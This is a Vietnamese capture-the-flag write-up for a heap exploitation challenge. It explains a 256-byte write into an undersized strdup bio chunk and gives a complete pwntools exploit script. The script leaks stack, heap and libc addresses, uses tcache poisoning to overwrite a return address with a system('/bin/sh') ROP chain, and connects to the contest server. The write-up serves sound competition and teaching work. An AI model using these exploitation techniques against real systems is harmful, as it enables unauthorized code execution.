pwn
Vuln: Chương trình cho rằng buffer cần ghi có độ dài 256 bytes, nhưng trên thực tế trước đó buffer có thể được cấp phát ít hơn 256 bytes, dẫn đến heap buffer overflow.
Recon
Mitigation

GLIBC Version

Code
Trước hết mình xác định kích thước của user struct:
- 32 byte: name
- 64 byte: address
- 8 byte: pointer to bio chunk Tổng cộng 104 byte mỗi user, có tối đa 10 users ở trong user_list.
Lỗ hổng chính của challenge này đó là heap buffer overflow. Nhìn vào hàm add_user():
unsigned __int64 add_user()
{
User *user; // rbx
int i; // [rsp+8h] [rbp-128h]
unsigned int index; // [rsp+Ch] [rbp-124h]
char s[264]; // [rsp+10h] [rbp-120h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-18h]
v5 = __readfsqword(0x28u);
index = -1;
for (i = 0; i <= 9; ++i)
{
if (!user_list[i])
{
index = i;
break;
}
}
if (index == -1)
{
puts("User limit reached");
}
else
{
user_list[index] = (User *)malloc(104uLL);
if (!user_list[index])
{
puts("Malloc failed");
exit(-1);
}
printf("Name: ");
input(user_list[index], 0x20u);
printf("Address: ");
input(user_list[index]->address, 0x40u);
printf("Bio: ");
input(s, 256u);
user = user_list[index];
user->bio_ptr = strdup(s);
printf("User added at index %d\n", index);
}
return v5 - __readfsqword(0x28u);
}Ở đây chương trình cho phép nhập 256 byte vào buffer s có kích thước 264 byte. Sau đó sử dụng strdup(s) để cấp phát một chunk trên heap và copy nội dung của s vào đó.
Một vấn đề nữa là buffer s ko bị clear, nên mình có thể căn chỉnh sao cho strdup(s) sẽ copy (cho đến khi gặp null) cả những giá trị trên stack vào trong bio, dẫn đến leak địa chỉ binary, libc, stack. Tuy nhiên trong lúc thi thì mình ko nhận ra điều này. Mình có leak stack qua đây nhưng ko hiểu tại sao lại có địa chỉ stack trên heap.
Tuy nhiên ở hàm edit_bio():
int __fastcall edit_bio()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Index: ");
index = sub_1346();
if (index > 9 || !user_list[index])
return puts("Invalid index");
printf("Old Bio: %s\n", (const char *)user_list[index]->bio_ptr);
printf("New Bio: ");
input((void *)user_list[index]->bio_ptr, 256u);
return puts("Bio updated");
}Chương trình lại cho phép ghi 256 byte vào bio, gây buffer overflow bởi vì chưa chắc chunk bio được tạo trước đó đã có kích thước 256 byte. Mình có thể lợi dụng lỗ hổng này để ghi đè fd của chunk liền sau (đã free), dẫn đến tcache poisoning -> đọc, ghi tuỳ ý.
Solve
Vậy hướng exploit của mình trong lúc thi là:
- Leak địa chỉ stack.
- Heap overflow từ chunk bio liền trước đến con trỏ fd của chunk liền sau (đã free vào tcache) để leak heap base.
- Tcache poisoning lần 1 -> đọc tuỳ ý trên stack -> leak địa chỉ libc.
- Tcache poisoning lần 2 -> ghi tuỳ ý trên stack -> gọi add_user() để cấp phát user mới vào chunk này -> ghi đè return address của add_user() với chain: pop rdi; “/bin/sh”; system().
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
exe = ELF("chall_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-2.39.so")
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
gdbscript = '''
# breakrva 0x1524
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "103.75.186.106"
port = 9002
return remote(host, port)
p = conn()
def add_user(name, address, bio):
slan(p, b'Choice', 1)
sa(p, b'Name', name)
sla(p, b'Address', address)
sa(p, b'Bio', bio)
def edit_bio(index, bio):
slan(p, b'Choice', 2)
slan(p, b'Index', index)
sa(p, b'New Bio', bio)
def delete_user(index):
slan(p, b'Choice', 3)
slan(p, b'Index', index)
def print_user(index):
slan(p, b'Choice', 4)
slan(p, b'Index', index)
# Setup
add_user(b'A', b'A', b'A' * 240) # index 0
add_user(b'A', b'B', b'A') # index 1
add_user(b'A', b'B', b'A' * 224) # index 2
add_user(b'A', b'B', b'A') # index 3
# Leak stack address
print_user(0)
ru(p, b'A' * 240)
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
# Leak heap address
delete_user(1)
edit_bio(0, b'A' * 256)
print_user(0)
ru(p, b'A' * 256)
heap_base = leak_bytes(rn(p, 5)) << 12
lg("heap base", heap_base)
# Uncorrupt chunk metadata
edit_bio(0, b'A' * 240 + p64(stack) + p64(0x71))
# Tcache poisoning to leak libc address on stack
delete_user(3)
pos = heap_base + 0x410
libc_on_stack = stack + 0xb0
fd = libc_on_stack ^ (pos >> 12)
lg("libc on stack", libc_on_stack)
# Overwrite fd
edit_bio(2, b'A' * 240 + p64(fd))
# Uncorrupt chunk metadata
edit_bio(2, b'A' * 232 + p64(0x71))
add_user(b'A', b'A', b'A') # index 1
# Leak libc address
add_user(b'A' * 8 * 3, b'A', b'A') # index 3
print_user(3)
ru(p, b'A' * 8 * 3)
libc.address = leak_bytes(rn(p, 6), 0x2a28b)
lg("libc base", libc.address)
# Setup
add_user(b'A', b'A', b'A' * 224) # index 4
add_user(b'A', b'A', b'A') # index 5
add_user(b'A', b'A', b'A') # index 6
delete_user(6)
delete_user(5)
# Tcache poisoning to overwrite return address
pos = heap_base + 0x7f0
fd = (stack - 0x10) ^ (pos >> 12)
lg("allocate new user at", stack - 0x10)
# Overwrite fd
edit_bio(4, b'A' * 240 + p64(fd))
# Uncorrupt chunk metadata
edit_bio(4, b'A' * 232 + p64(0x71))
add_user(b'A', b'A', b'A')
# Overwrite return address
add_user(flat(
b'A' * 8 * 3,
libc.address + 0x000000000010f78b # pop rdi; ret
), flat(
binsh(libc),
libc.address + 0x000000000009951f, # nop; ret for stack alignment
libc.symbols['system']
), b'A')
# Profit
rr(p, 1)
ia(p)